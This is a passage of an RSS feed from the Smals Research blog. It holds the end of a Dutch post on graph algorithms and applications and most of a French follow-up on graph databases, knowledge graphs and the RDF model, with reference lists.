<p>Afhankelijk van de context kan het nuttig zijn om een similariteitsmaat te bepalen tussen twee nodes in een graph om te bepalen hoe dicht ze bij elkaar liggen. Similariteitsmaten worden vaak gebruikt in aanbevelingstoepassingen. Door een consumptiegraph te ontwerpen die gebruikers koppelt aan de producten die ze hebben geconsumeerd, maakt het meten van de similariteit tussen nodes het voor een bepaalde gebruiker mogelijk om gebruikers met een gelijkaardig consumptieprofiel te identificeren, gebaseerd op hun connecties met de producten. Een product wordt meestal aanbevolen aan een gebruiker omdat het door veel vergelijkbare gebruikers is geconsumeerd (<em>user-based recommendation</em>) of omdat het product vergelijkbaar is met producten die de gebruiker al heeft geconsumeerd (<em>item-based recommendation</em>). De bekendste similariteitsmaten zijn over het algemeen gebaseerd op <em>common-neighbour</em> maten (het aantal buren dat twee nodes gemeen hebben), zoals de Jaccard-index of cosinus-similariteit, maar andere methoden houden ook rekening met indirecte buren, zoals de Katz-kernel [<a href="#footnote-12">12</a>] (ook bekend als de “von Neumann kernel”). Zie [<a href="#footnote-13">13</a>] voor enkele klassieke similariteitsmaten en het gebruik ervan in aanbevelingen.</p>
<p>Het tegenovergestelde van een similariteitsmaat is een dissimilariteitsmaat, die toeneemt naarmate twee nodes verder van elkaar verwijderd zijn. Een afstandsmaat is per definitie een dissimilariteit, omdat deze toeneemt naarmate twee nodes verder van elkaar verwijderd zijn. De bekendste en meest intuïtieve maat voor dissimilariteit tussen twee nodes is de lengte van het kortste pad tussen hen.</p>



<ul class="wp-block-list">
<li>De centraliteit meten.</li>
</ul>



<p>Een maat voor de centraliteit van een node of boog, soms ook een <em>prestige measure</em> genoemd, wordt gebruikt om te kwantificeren hoe belangrijk een node of boog is binnen een graph. De bekendste maat voor centraliteit is de score die wordt berekend door het algoritme PageRank [<a href="#footnote-14">14</a>]. PageRank werd oorspronkelijk ontwikkeld en gebruikt door de zoekmachine Google om webpagina&#8217;s te rangschikken. Het is gebaseerd op een willekeurige beweging in een graph waarin elke node een webpagina voorstelt en elke gerichte boog een hyperlink tussen twee pagina&#8217;s voorstelt. Het PageRank-algoritme kent naast het rangschikken van webpagina&#8217;s heel wat andere toepassingen:</p>
<blockquote>
<p>“Google’s PageRank method was developed to evaluate the importance of web-pages via their link structure. The mathematics of PageRank, however, are entirely general and apply to any graph or network in any domain. Thus, PageRank is now regularly used in bibliometrics, social and information network analysis, and for link prediction and recommendation. It’s even used for systems analysis of road networks, as well as biology, chemistry, neuroscience, and physics.” – <em>Gleich (2014) [<a href="#footnote-15">15</a>]</em></p>
</blockquote>
<p>Een ander bekend algoritme dat lijkt op PageRank is het HITS-algoritme (Hyperlink-Induced Topic Search) [<a href="#footnote-16">16</a>].</p>
<p>Als we het over centraliteit hebben, is PageRank vaak het algoritme dat wordt voorgesteld, maar centraliteit kan op verschillende manieren worden begrepen. Het kan bijvoorbeeld verwijzen naar een node of boog die een kritieke intermediair is voor communicatie en informatieoverdracht binnen het netwerk. Centrale nodes identificeren kan het bijvoorbeeld mogelijk maken om informatie optimaal te verspreiden in een netwerk of om nodes of bogen op te sporen die van vitaal belang zijn voor de graph (waarvan de verdwijning de informatieoverdracht in de graph ernstig zou belemmeren). Veel voorkomende maatstaven voor node- of boog-centraliteit op basis van dit principe gebruiken over het algemeen tussen-maatstaven (<em>betweenness centrality</em>).</p>
<p>Centraliteit kan ook worden beschouwd als een maat voor de representativiteit van een node binnen een gemeenschap (in termen van nabijheid tot de andere nodes in de graph), in dit geval gemeten door middel van een maat van nabijheid (<em>closeness centrality</em>). Merk op dat we het gebruik van verschillende centraliteitsalgoritmes in een fraudedetectiecontext al hebben vermeld in eerdere blogposts, met name PageRank (in de vorm van een verspreidingsalgoritme) [<a href="#footnote-7">7</a>] en betweenness centrality [<a href="#footnote-8">8</a>].</p>



<ul class="wp-block-list">
<li>De graph partitioneren.</li>
</ul>



<p>Beter bekend als “<em>clustering</em>”, bestaat graph partitioning uit het groeperen van nodes in communities (clusters) zodat nodes binnen een community “similair” zijn en twee nodes die tot verschillende communities behoren “dissimilair” zijn. Dit partitioneren kan op verschillende manieren gebeuren. Door bijvoorbeeld een maat voor similariteit of dissimilariteit tussen de nodes in de graph te gebruiken en vervolgens een clusteralgoritme zoals k-medoids uit te voeren op basis van deze (dis)similariteiten.</p>
<p>Een andere manier is om direct op de graph te werken en te proberen dichte gebieden binnen de graph te detecteren. Dit kan worden gedaan met behulp van labelpropagatie [<a href="#footnote-17">17</a>], of door het optimaliseren van een objectieve functie die de kwaliteit van de partitionering meet, zoals modulariteit. Het bekendste algoritme voor modulariteitsoptimalisatie is de Louvain-methode [<a href="#footnote-18">18</a>].</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-2.png"><img loading="lazy" decoding="async" width="508" height="444" src="/wp-content/uploads/2025/01/image-2.png" alt="" class="wp-image-21743" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-2.png 508w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-2-300x262.png 300w" sizes="auto, (max-width: 508px) 100vw, 508px" /></a><figcaption class="wp-element-caption">Figuur 2: Voorbeeld van een eenvoudige graph met 3 communities.</figcaption></figure>



<p>We hebben het gebruik van ‘graph partitioning’-methodes al genoemd in verschillende blogposts [<a href="#footnote-9">9</a>, <a href="#footnote-10">10</a>]. Deze algoritmes worden met name gebruikt in communicatie en marketing om gerichte advertenties te produceren.</p>



<ul class="wp-block-list">
<li>Kenmerken of representaties extraheren.</li>
</ul>



<p>De traditionele modellen voor <em>machine learning</em> hebben als limiet dat ze alleen rekening houden met de gegevens (continue en categorische variabelen) die betrekking hebben op de waarnemingen, en de informatie negeren die kan worden afgeleid uit de relaties tussen de waarnemingen. Indien er relaties bestaan tussen deze gegevens, kan er een graph worden geconstrueerd en kunnen de machine learning modellen worden verrijkt door nieuwe variabelen uit de graph toe te voegen (er is ook een blogpost over dit onderwerp [<a href="#footnote-11">11</a>]). Deze nieuwe variabelen kunnen bijvoorbeeld een maat voor centraliteit zijn (continue variabele) of het resultaat van partitionering (categorische variabele), of ze kunnen worden verkregen met behulp van ‘graph embedding’-methoden (continue variabelen). Graph embedding moet leiden tot een representatie van de nodes in een multidimensionale ruimte. Deze ruimte wordt zo berekend dat als twee nodes dicht bij elkaar liggen in de graph, ze ook dicht bij elkaar liggen in deze ruimte. Zo&#8217;n ruimte kan worden verkregen met methoden die direct op de graph werken (node2vec [<a href="#footnote-19">19</a>], fastRP [<a href="#footnote-20">20</a>]) of door te werken op basis van bijvoorbeeld similariteiten (kernelPCA [<a href="#footnote-21">21</a>]) of afstanden (t-SNE [<a href="#footnote-22">22</a>]). Zie figuur 3 voor een voorbeeld van een tweedimensionale weergave van een eenvoudige gewogen graph.</p>



<figure class="wp-block-image size-large"><a href="/wp-content/uploads/2025/02/Representation_NL.png"><img loading="lazy" decoding="async" width="1024" height="651" src="/wp-content/uploads/2025/02/Representation_NL-1024x651.png" alt="" class="wp-image-21939" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/02/Representation_NL-1024x651.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Representation_NL-300x191.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Representation_NL-768x489.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Representation_NL.png 1050w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 3: Weergave van een graph in een 2-dimensionale ruimte met behulp van node2vec (boven) en t-SNE (onder)</figcaption></figure>



<ul class="wp-block-list">
<li>Links voorspellen.</li>
</ul>



<p>Het concept van linkvoorspelling is relatief eenvoudig: het gaat om het inschatten van de waarschijnlijkheid dat er een link bestaat tussen twee nodes. Dit maakt het mogelijk om potentieel ontbrekende bogen (incomplete graph) te detecteren, of om het verschijnen van nieuwe bogen te voorspellen. Aanbevelingsalgoritmes zijn een veelvoorkomend voorbeeld van het voorspellen van links tussen gebruikers en producten, maar deze algoritmes kunnen ook worden gebruikt om potentiële, nog onbekende interacties binnen biologische netwerken te detecteren. Dit type voorspelling wordt vaak verricht met behulp van methoden gebaseerd op overeenkomsten tussen nodes, matrixfactorisatie, probabilistische modellen of kunstmatige neurale netwerken [<a href="#footnote-23">23</a>].</p>



<ul class="wp-block-list">
<li></li>
</ul>



<h2 class="wp-block-heading">Welke hulpmiddelen?</h2>



<p>Zoals hierboven vermeld betekent de weergave van graphs in matrixvorm dat ze efficiënt gebruikt kunnen worden in wetenschappelijke programmeertalen. Er bestaan echter ook library&#8217;s of softwares die gebruikt kunnen worden om graphs te creëren en te exploiteren.</p>
<p>Enkele voorbeelden van library&#8217;s voor het werken met graphs. Deze library&#8217;s kunnen worden gebruikt om een graph object te maken dat op verschillende manieren kan worden opgebouwd. Het kan leeg worden opgebouwd, voordat handmatig nodes en bogen worden toegevoegd, of vanuit een adjacency matrix of een lijst van bogen, of rechtstreeks vanuit bestanden die een beschrijving van de graph bevatten in de vorm van een lijst van nodes en bogen. Voorbeelden van graph-georiënteerde library’s zijn igraph, NetworkX, graph-tool of NetworKit voor Python, igraph voor R en Graphs voor Julia.</p>
<p>Voor gebruikers die al een van deze talen kennen, hebben deze library&#8217;s het voordeel dat ze intuïtief en gemakkelijk te leren zijn en veel voorgeïmplementeerde graph algoritmes bevatten.</p>



<h2 class="wp-block-heading">Conclusie</h2>



<p>In het eerste deel van deze blogpost hebben we ons toegespitst op de verschillende graph tools, we hebben de graphtheorie kort ingeleid, alsook de voornaamste toepassingen en algoritmes voor graphs. Het <a href="/graphtechnologieen-toepassingen-en-tools-2/">tweede deel</a> richt zich op graph databases en knowledge graphs, het verschil tussen deze concepten en de bijbehorende tools.</p>



<h2 class="wp-block-heading">Referenties</h2>



<p>Enkele blogposts van Smals Research over graphs:</p>
<p id="footnote-1">[1] <a href="/graph-db-vs-rdbms/">Graph DB vs RDBMS</a></p>
<p id="footnote-2">[2] <a href="/sept-bonnes-raisons-dutiliser-une-graph-database/">Sept (bonnes) raisons d’utiliser une Graph Database</a></p>
<p id="footnote-3">[3] <a href="/een-graph-database-verkennen/">Een graph database verkennen</a></p>
<p id="footnote-4">[4] <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">Les graphes de connaissance, incontournable pour l’intelligence artificielle</a></p>
<p id="footnote-5">[5] <a href="/les-graphes-de-connaissance-quelques-applications/">Les graphes de connaissance&nbsp;: quelques applications</a></p>
<p id="footnote-6">[6] <a href="/smalls-kg-checklist/">Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret</a></p>
<p id="footnote-7">[7] <a href="/un-fraudeur-ne-fraude-jamais-seul/">Un fraudeur ne fraude jamais seul</a></p>
<p id="footnote-8">[8] <a href="/un-fraudeur-ne-fraude-jamais-seul-partie-2/">Un fraudeur ne fraude jamais seul, partie 2</a></p>
<p id="footnote-9">[9] <a href="/ce-quun-reseau-social-peut-nous-apprendre/">Ce qu’un réseau social peut nous apprendre</a></p>
<p id="footnote-10">[10] <a href="/facebook-peut-on-vraiment-cacher-sa-liste-damis/">Facebook&nbsp;: peut-on vraiment cacher sa liste d’amis&nbsp;?</a></p>
<p id="footnote-11">[11] <a href="/ameliorer-le-machine-learning-avec-des-donnees-graphes/">Améliorer le Machine Learning avec des données graphes</a><br /><br />Wetenschappelijke bronnen:</p>
<p id="footnote-12">[12] Katz, L. (1953). A new status index derived from sociometric analysis. Psychometrika, 18(1), 39-43.</p>
<p id="footnote-13">[13] Fouss, F., Pirotte, A., Renders, J. M., &amp; Saerens, M. (2007). Random-walk computation of similarities between nodes of a graph with application to collaborative recommendation. IEEE Transactions on knowledge and data engineering, 19(3), 355-369.</p>
<p id="footnote-14">[14] Page, L., Brin, S., Motwani, R., &amp; Winograd, T. (1998). The pagerank citation ranking: Bringing order to the web. Technical report, Stanford Digital Libraries.</p>
<p id="footnote-15">[15] Gleich, D. F. (2015). PageRank beyond the web. siam REVIEW, 57(3), 321-363.</p>
<p id="footnote-16">[16] Kleinberg, J. M. (1999). Authoritative sources in a hyperlinked environment. Journal of the ACM (JACM), 46(5), 604-632.</p>
<p id="footnote-17">[17] Raghavan, U. N., Albert, R., &amp; Kumara, S. (2007). Near linear time algorithm to detect community structures in large-scale networks. Physical Review E—Statistical, Nonlinear, and Soft Matter Physics, 76(3), 036106.</p>
<p id="footnote-18">[18] Blondel, V. D., Guillaume, J. L., Lambiotte, R., &amp; Lefebvre, E. (2008). Fast unfolding of communities in large networks. Journal of statistical mechanics: theory and experiment, 2008(10), P10008.</p>
<p id="footnote-19">[19] Grover, A., &amp; Leskovec, J. (2016). node2vec: Scalable feature learning for networks. In Proceedings of the 22nd ACM SIGKDD international conference on Knowledge discovery and data mining (pp. 855-864).</p>
<p id="footnote-20">[20] Chen, H., Sultan, S. F., Tian, Y., Chen, M., &amp; Skiena, S. (2019, November). Fast and accurate network embeddings via very sparse random projection. In Proceedings of the 28th ACM international conference on information and knowledge management (pp. 399-408).</p>
<p id="footnote-21">[21] Schölkopf, B., &amp; Smola, A. J. (2002). Learning with kernels: support vector machines, regularization, optimization, and beyond.</p>
<p id="footnote-22">[22] Van der Maaten, L., &amp; Hinton, G. (2008). Visualizing data using t-SNE. Journal of machine learning research, 9(11).</p>
<p id="footnote-23">[23] Lü, L., &amp; Zhou, T. (2011). Link prediction in complex networks: A survey. Physica A: statistical mechanics and its applications, 390(6), 1150-1170.</p>



<hr />
<p><em>Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Les technologies graphes, leurs applications et leurs outils: un tour d’horizon (Partie 2)</title>
		<link>https://www.smalsresearch.be/graphes_applications_et_outils_2/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Thu, 06 Feb 2025 10:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[Graph Databases]]></category>
		<category><![CDATA[Information management]]></category>
		<category><![CDATA[Knowledge Graph]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[methodology]]></category>
		<guid isPermaLink="false">/?p=21755</guid>

					<description><![CDATA[Cette seconde partie est consacrée aux bases de données orientées graphe et aux graphes de connaissances.]]></description>
										<content:encoded><![CDATA[
<p><a href="/graphtechnologieen-toepassingen-en-tools-2/"><em>Nederlandstalige versie</em></a></p>



<p>Cet article fait suite à la <a href="/graphes_applications_et_outils/">Partie 1</a>, qui présente les fondamentaux des technologies graphes, algorithmes et applications. Cette seconde partie est consacrée aux bases de données orientées graphe et aux graphes de connaissances, leurs différences et leurs outils.</p>



<h2 class="wp-block-heading">Les bases de données orientées graphe</h2>



<p>A l’instar d’une base de données relationnelle, l’objectif d’une base de données orientée graphe est de pouvoir stocker et gérer des données de manière persistante et d’effectuer des requêtes complexes. La différence étant que les données sont stockées sous la forme d’un graphe, à savoir un ensemble de nœuds interconnectés par le biais d’arcs.</p>
<p>Les bases de données orientées graphe ont plusieurs avantages par rapport aux bases de données relationnelles classiques, car le modèle de graphe permet une traversée simple et optimisée des données via les arcs, là où l’exploration de relations dans une base de données relationnelle peut demander un nombre important de jointures. Plus de détails sur les avantages des bases de données orientées graphe, ainsi que les cas de figure où les utiliser, se trouvent dans les articles de blog [<a href="#footnote-1">1</a>] et [<a href="#footnote-2">2</a>].</p>
<p>Les trois composants de toute base de données orientée graphe sont&nbsp;: nœuds, arcs et propriétés. Ces propriétés peuvent être placées soit sur les nœuds, soit sur les arcs, ou sur les deux. Si nous considérons le petit exemple illustratif dans la Figure 1, le nœud « Paul » peut par exemple être associé à des propriétés telles que sa date de naissance et son adresse, pour les nœuds représentant des films on peut y associer les propriétés telles que l’année de sortie, le budget et son identifiant IMDb, et sur les relations « A_VU » entre un utilisateur et un film, on pourrait associer des propriétés telles que la date de visionnage et la note (sur 5) que l’utilisateur donne au film.</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-4.png"><img loading="lazy" decoding="async" width="940" height="395" src="/wp-content/uploads/2025/01/image-4.png" alt="" class="wp-image-21758" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-4.png 940w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-4-300x126.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-4-768x323.png 768w" sizes="auto, (max-width: 940px) 100vw, 940px" /></a><figcaption class="wp-element-caption">Figure 1&nbsp;: Exemple de nœuds et d’arcs avec des propriétés dans Neo4J.</figcaption></figure>



<p>Il est à noter que les algorithmes de graphe que nous avons présentés dans la <a href="/graphes_applications_et_outils/">Partie 1</a> ne sont souvent que peu ou pas implémentés dans les logiciels de bases de données orientées graphe, à quelques exceptions près (Neo4j et TigerGraph disposent d’une libraire « Graph Data Science (GDS) » contenant plusieurs algorithmes). Il est donc généralement nécessaire d’exporter le graphe (ou une partie de celui-ci) vers un outil d’analyse.</p>



<h2 class="wp-block-heading">Les outils pour bases de données orientées graphe</h2>



<p>Passons rapidement en revue quelques-uns des outils les plus connus. Notez que tous les outils listés ci-après sont compatibles avec les propriétés <a href="https://fr.wikipedia.org/wiki/Propri%C3%A9t%C3%A9s_ACID">ACID</a>. Il existe un grand nombre d’outils pour la gestion de base de données graphe, cet article n’en mentionne qu’une partie. N’hésitez pas à aller jeter un coup d’œil à une liste plus détaillée trouvable <a href="https://db-engines.com/en/ranking/graph+dbms">ici</a>.</p>
<ol>
<li>Neo4j</li>
</ol>
<p>Neo4j offre l’avantage d’avoir un format de graphe natif, ce qui rend très efficace la traversée du graphe (et donc, les requêtes). Les requêtes se font en Cypher, un langage facile à prendre en main, et Neo4J est bien documenté et dispose d’une grande communauté. Neo4J dans sa version « community » est gratuit, mais une version payante existe (Neo4j Enterprise), et la version gratuite peut poser quelques soucis de scalabilité face à de très grandes quantités de données.</p>
<ol start="2">
<li>ArangoDB</li>
</ol>
<p>ArangoDB propose un modèle de données flexible (multi-modèle), intégrant un modèle graphe, un modèle document (basé sur des objets JSON) et un modèle clé-valeur. Il dispose de son propre langage de requêtes AQL (Arango Query Language) qui peut être plus compliqué à prendre en main que Cypher en raison du multi-modèle sous-jacent à ArangoDB. C’est un logiciel payant, bien qu’une version open source existe (community edition), mais est (évidement) plus limitée que la version payante.</p>
<ol start="3">
<li>TigerGraph</li>
</ol>
<p>TigerGraph est un outil payant, optimisé pour pouvoir être utilisés sur de très grandes bases de données. Les requêtes se font via le langage GSQL, qui est un langage permettant d’effectuer de nombreuses tâches, mais plus compliqué à prendre en main que Cypher. TigerGraph dispose de nombreux algorithmes implémentés via la librairie GDS.</p>
<ol start="4">
<li>Memgraph</li>
</ol>
<p>Memgraph est un outil particulier en ce sens qu’il stocke les données directement en mémoire (dans la RAM). Cela lui permet d’avoir des très hautes performances pour le requêtage, mais en contrepartie cela rend son utilisation difficile, ou du moins coûteuse en termes d’infrastructure, lorsque le graphe est de grande taille, puisqu’il faut avoir suffisamment de RAM que pour stocker les données. Memgraph s’utilise donc généralement lorsque les performances sont la première priorité. Les requêtes se font en Cypher.</p>
<ol start="5">
<li>GraphDB</li>
</ol>
<p>GraphDB utilise un modèle de graphe bien spécifique appelé Resource Description Framework (RDF). Ce framework, qui sera discuté un peu plus en détails dans la section relative aux graphes de connaissances, a son langage de requête propre nommé SPARQL. Il existe en version gratuite open-source (graphDB Free) et en version entreprise payante (graphDB Enterprise).</p>
<ol start="6">
<li>Apache TinkerPop et ses implémentations</li>
</ol>
<p>Il s’agit d’un framework open-source qui vise à définir un modèle de base de données graphes, ainsi qu’un langage de requête nommé « Gremlin ». Il est utilisé dans de nombreux logiciels de gestion de base de données orientées graphe, tels que JanusGraph (un logiciel open-source), Amazon Neptune qui propose d’autres modèles que celui de TinkerPop tels que RDF, ou encore des outils de gestion de base de données non spécialisés en graphe, tels qu’Azure Cosmos DB.</p>



<h2 class="wp-block-heading">Les graphes de connaissances</h2>



<p>Avant de s’intéresser aux pratiques et outils, commençons dans un premier temps par définir ce qu’est un graphe de connaissances et ce qui le distingue d’une base de données orientée graphe. Il s’agit d’un graphe qui met l’accent sur la sémantique et sur l’inférence. Chaque nœud représente un concept et chaque arc une relation. Comme nous l’avons déjà vu dans les articles de blog [<a href="#footnote-3">3</a>, <a href="#footnote-4">4</a>], un graphe de connaissances se définit comme un graphe remplissant trois conditions [<a href="#footnote-5">5</a>]&nbsp;:</p>
<ol>
<li>L’intégration d’informations en provenance de différentes sources hétérogènes.</li>
</ol>
<p>Un graphe de connaissances rassemble et combine des données issues de diverses sources (structurées ou non) de manière cohérente.</p>
<ol start="2">
<li>L’utilisation d’une ontologie.</li>
</ol>
<p>Une ontologie décrit de façon formelle les concepts et les relations présentes dans le graphe, ainsi que les éventuelles contraintes et règles. Il s’agit donc d’un modèle structuré qui fournit les fondations sémantiques afin de permettre des opérations de raisonnement et des tests de cohérence. Par exemple, un schéma d’ontologie (voir Figure 2), également appelé graphe ontologique, fournit une représentation des types d&#8217;entités et des relations d’un graphe de connaissances, fournissant ainsi une structure conceptuelle sans contenir de données spécifiques.</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-5.png"><img loading="lazy" decoding="async" width="872" height="559" src="/wp-content/uploads/2025/01/image-5.png" alt="" class="wp-image-21761" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-5.png 872w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-5-300x192.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-5-768x492.png 768w" sizes="auto, (max-width: 872px) 100vw, 872px" /></a><figcaption class="wp-element-caption">Figure 2&nbsp;: Exemple de schéma d’ontologie</figcaption></figure>



<ol start="3">
<li>L’inférence d’informations implicites sur base d’informations explicites.</li>
</ol>
<p>Il est possible de trouver des informations qui n’étaient pas présentes dans les données initiales sur base de règles d’inférence (Voir Figure 3).</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-6.png"><img loading="lazy" decoding="async" width="748" height="287" src="/wp-content/uploads/2025/01/image-6.png" alt="" class="wp-image-21762" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-6.png 748w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-6-300x115.png 300w" sizes="auto, (max-width: 748px) 100vw, 748px" /></a><figcaption class="wp-element-caption">Figure 3&nbsp;: Exemple d’inférence. Tiré d’un précédent <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">article de blog</a>.</figcaption></figure>



<h2 class="wp-block-heading">Un aperçu du modèle RDF (Resource Description Framework)</h2>



<p>Initialement conçu pour la description formelle de ressources web et leurs métadonnées, le modèle RDF est fréquemment utilisé pour les graphes de connaissances car il permet un raisonnement sémantique robuste et une très grande interopérabilité.</p>
<p>Un document en RDF prend la forme d’un ensemble de <strong>triplets RDF</strong>, chaque triplet est une association&nbsp;: sujet (ressource à décrire), prédicat (propriété de la ressource), objet (donnée ou autre ressource).</p>
<p>Par exemple&nbsp;:</p>
<p><code>:Alice&nbsp;:knows&nbsp;:Bob .<br />:Alice&nbsp;:livesIn&nbsp;:Paris .<br />:Alice&nbsp;:age 30 .</code></p>
<p>Ces triplets représentent donc aussi bien des relations entre nœuds (par exemple : la relation entre Alice et Bob) que des propriétés (l’âge d’Alice).</p>
<p>Une spécificité de RDF est qu’il nécessite que chaque élément d’un triplet (à l’exception de l’objet s’il s’agit d’une valeur simple, tel que la valeur 30 pour l’âge d’Alice) soit identifié par un URI (<em>Uniform Resource Identifier</em>) ou IRI (<em>Internationalized Resource Identifier</em>). Cela permet une grande interopérabilité car cela évite la création de doublons lorsque plusieurs sources d’information sont combinées. Si nous reprenons les triplets utilisés précédemment, nous obtenons le fragment suivant (en langage turtle) :</p>
<p><code>&lt;http://example.org/Alice&gt; &lt;http://example.org/knows&gt; &lt;http://example.org/Bob&gt; .<br />&lt;http://example.org/Alice&gt; &lt;http://example.org/livesIn&gt; &lt;http://example.org/Paris&gt; .<br />&lt;http://example.org/Alice&gt; &lt;http://example.org/age&gt; "30"^^&lt;http://www.w3.org/2001/XMLSchema#integer&gt; .</code></p>
<p>L&#8217;utilisation de RDF implique donc d’avoir un URI afin de pouvoir identifier tous les concepts (sujets, prédicats et objets) du graphe à l’instar d’une clé primaire dans les bases de données relationnelles.</p>
<p>De plus, il existe deux outils permettant d’ajouter de la signification sémantique aux données RDF, en décrivant les relations afin de permettre le raisonnement, à savoir RDFS (<em>RDF Schema</em>) et OWL (<em>Web Ontology Language</em>). Comme nous l’avons vu, RDF impose que chaque concept soit identifié par un URI. RDFS et OWL fournissent un ensemble prédéfini d’URI pour des concepts fréquemment utilisés, auxquels on peut faire référence dans RDF. Ceci permet d’une part d’avoir un vocabulaire commun standardisé, ce qui facilite l’intégration d’autres bases de données, et d’autre part d’établir des règles d’inférence. En effet, puisque OWL et RDFS proposent des <strong>concepts standardisés</strong>, cela permet à des « raisonneurs » basés sur OWL (tels que FaCT++ ou HermiT) d’inférer les relations implicites de façon systématique ou de détecter des contradictions, sur base de l’ontologie.</p>
<p>Les requêtes sur une base de données RDF se font via SPARQL.</p>



<h2 class="wp-block-heading">Les alternatives à RDF, et les outils pour travailler avec un graphe de connaissances</h2>



<p>Bien évidemment, un graphe de connaissances ne nécessite pas forcément l’utilisation du modèle RDF. Un graphe sera considéré comme graphe de connaissances tant que les 3 conditions décrites en début de section sur les graphes de connaissances sont remplies. Il est donc parfaitement possible de créer un graphe de connaissances dans un outil classique de gestion de base de données orientée graphe, tant que l’implémentation combine des données de plusieurs sources, qu’elle est conforme à une ontologie et qu’elle peut être utilisée pour de l’inférence sémantique.</p>
<p>La principale force du modèle RDF est son niveau de standardisation élevé. D’une part, via son exigence d’identification par URI, ainsi que son vocabulaire et son langage de requête standardisés, elle permet une haute interopérabilité. D’autre part, les extension RDFS et OWL permettent d’offrir une richesse sémantique rendant possible un raisonnement automatique. En contrepartie, sa complexité limite son adoption dans des applications business où cette rigueur sémantique n’est pas forcément nécessaire et où l’utilisation d’un modèle de graphe plus simple (tel que Neo4j ou TigerGraph) suffit. L’utilisation de modèles plus simples offre l’avantage d’être plus facile et rapide à mettre en place et d’offrir des performances de requêtage optimisées, mais au prix de la perte de la richesse sémantique offerte par RDF.</p>
<p>Cette section présente des outils (de façon non exhaustive) relatifs à RDF mais, comme mentionné, les outils précédemment cités pour les bases de données orientées graphe restent valides pour créer un graphe de connaissances tant que les <strong>conditions</strong> sont remplies.</p>
<p>Voici une liste de quelques outils liés aux graphes de connaissances en RDF :</p>
<ul>
<li><strong>La conception d’ontologies :</strong> l’outil open-source <a href="https://protege.stanford.edu/">Protégé</a> est fréquemment utilisé pour créer des ontologies. Le site <a href="https://schema.org/">schema.org</a> fournit un grand nombre de schéma et vocabulaires standards pour différents domaines, mais est généralement plutôt utilisé pour des graphes de connaissances relatifs aux données web.</li>
<li><strong>La transformation de données vers RDF :</strong> l’outil <a href="https://www.w3.org/TR/r2rml/">R2RML</a> permet de transformer des données relationnelles vers RDF. Nous pouvons aussi mentionner <a href="https://d2rq.org/">D2RQ</a>, qui donne accès à une base de données relationnelle via un graphe de connaissances RDF virtuel.</li>
<li><strong>Le stockage de données :</strong> en plus des solutions mentionnées précédemment (GraphDB et Amazon Neptune), nous pouvons aussi mentionner BlazeGraph et Apache Jena (open-source) ou encore Stardog et AllegroGraph (solutions commerciales).</li>
<li><strong>Les raisonneurs OWL :</strong> il existe de nombreux raisonneurs OWL. Tous ne sont cependant pas forcément activement maintenus ou toujours utilisables. La liste de raisonneurs OWL la plus récente que nous ayons pu trouver date de 2023 et est accessible <a href="https://arxiv.org/pdf/2309.06888">ici</a> [<a href="#footnote-6">6</a>].</li>
</ul>
<p>Terminons par mentionner le framework RDF4J (framework Java) et rdflib (libraire python) permettant d’interagir avec des données RDF.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Terminons par une rapide synthèse des concepts clés qui séparent un graphe mathématique d’une base de données orientée graphe et d’un graphe de connaissances.</p>
<p>Un graphe mathématique est un ensemble de nœuds et d’arcs facilement représentable sous forme matricielle afin d’y appliquer des algorithmes. C’est la structure sous-jacente de toute base de données orientée graphe ou graphe de connaissances.</p>
<p>Une base de données graphe comporte un ensemble de nœuds, d’arcs et de propriétés. L’accent est mis sur le stockage de grandes quantités de données au sein d’une structure graphe et sur l’optimisation du requêtage.</p>
<p>Un graphe de connaissances a pour but de représenter le savoir au sein d’un graphe mettant l’accent sur :</p>
<ul>
<li><strong>La sémantique :</strong> Le graphe suit une ontologie et les relations ont une signification.</li>
<li><strong>L’intégration :</strong> Diverses sources de données sont liées dans un graphe unifié.</li>
<li><strong>L’inférence :</strong> La capacité à dériver des connaissances via un raisonnement.</li>
</ul>
<p>Il est donc concentré sur l’intégration et l’enrichissement sémantique des données.</p>
<p>Il va sans dire que cet article ne fait qu’effleurer la surface de la vaste littérature des graphes et leurs applications diverses, et que nombreux points mériteraient un développement plus poussé et feront d’ailleurs sans doute l’objet de futurs articles.</p>



<h2 class="wp-block-heading">Références</h2>



<p id="footnote-1">[1] <a href="/graph-db-vs-rdbms/">Graph DB vs RDBMS</a></p>
<p id="footnote-2">[2] <a href="/sept-bonnes-raisons-dutiliser-une-graph-database/">Sept (bonnes) raisons d’utiliser une Graph Database</a></p>
<p id="footnote-3">[3] <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">Les graphes de connaissance, incontournable pour l’intelligence artificielle</a></p>
